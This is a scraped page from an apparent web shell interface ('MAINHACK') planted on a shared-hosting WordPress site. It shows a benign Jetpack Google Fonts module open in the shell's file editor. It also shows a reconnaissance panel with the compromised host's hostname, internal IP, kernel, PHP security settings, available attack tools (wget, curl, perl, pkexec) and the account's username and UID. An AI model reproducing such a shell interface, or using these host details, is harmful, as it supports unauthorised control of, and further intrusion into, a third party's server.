[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: google-fonts.php
<?php /** * Module Name: Google Fonts (Beta) * Module Description: A selection of Google fonts for block enabled themes. This feature is still being developed. * Sort Order: 1 * Recommendation Order: 2 * First Introduced: 10.8.0 * Requires Connection: No * Auto Activate: No * Module Tags: Fonts, Recommended * Feature: Writing * Additional Search Queries: fonts, webfonts, typography * * @package automattic/jetpack */ /** * Curated list of Google Fonts * See https://wp.me/p9Jlb4-22P */ const JETPACK_GOOGLE_FONTS_LIST = array( 'Arvo', 'Bodoni Moda', 'Cabin', 'Chivo', 'Courier Prime', 'DM Sans', 'Domine', 'EB Garamond', 'Fira Sans', 'Inter', 'Josefin Sans', 'Libre Baskerville', 'Libre Franklin', 'Lora', 'Merriweather', 'Montserrat', 'Nunito', 'Open Sans', 'Overpass', 'Playfair Display', 'Poppins', 'Raleway', 'Roboto', 'Roboto Slab', 'Rubik', 'Source Sans Pro', 'Source Serif Pro', 'Space Mono', 'Work Sans', ); /** * Register a curated selection of Google Fonts. * * @return void */ function jetpack_add_google_fonts_provider() { if ( ! function_exists( 'wp_register_webfont_provider' ) || ! function_exists( 'wp_register_webfonts' ) ) { return; } wp_register_webfont_provider( 'jetpack-google-fonts', '\Automattic\Jetpack\Fonts\Google_Fonts_Provider' ); /** * Curated list of Google Fonts. * * @module google-fonts * * @since 10.8 * * @param array $fonts_to_register Array of Google Font names to register. */ $fonts_to_register = apply_filters( 'jetpack_google_fonts_list', JETPACK_GOOGLE_FONTS_LIST ); foreach ( $fonts_to_register as $font_family ) { wp_register_webfonts( array( array( 'font-family' => $font_family, 'font-weight' => '100 900', 'font-style' => 'normal', 'font-display' => 'fallback', 'provider' => 'jetpack-google-fonts', ), array( 'font-family' => $font_family, 'font-weight' => '100 900', 'font-style' => 'italic', 'font-display' => 'fallback', 'provider' => 'jetpack-google-fonts', ), ) ); } } add_action( 'after_setup_theme', 'jetpack_add_google_fonts_provider' ); add_filter( 'wp_resource_hints', '\Automattic\Jetpack\Fonts\Utils::font_source_resource_hint', 10, 2 ); add_filter( 'pre_render_block', '\Automattic\Jetpack\Fonts\Introspectors\Blocks::enqueue_block_fonts', 10, 2 ); add_action( 'init', '\Automattic\Jetpack\Fonts\Introspectors\Global_Styles::enqueue_global_styles_fonts' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129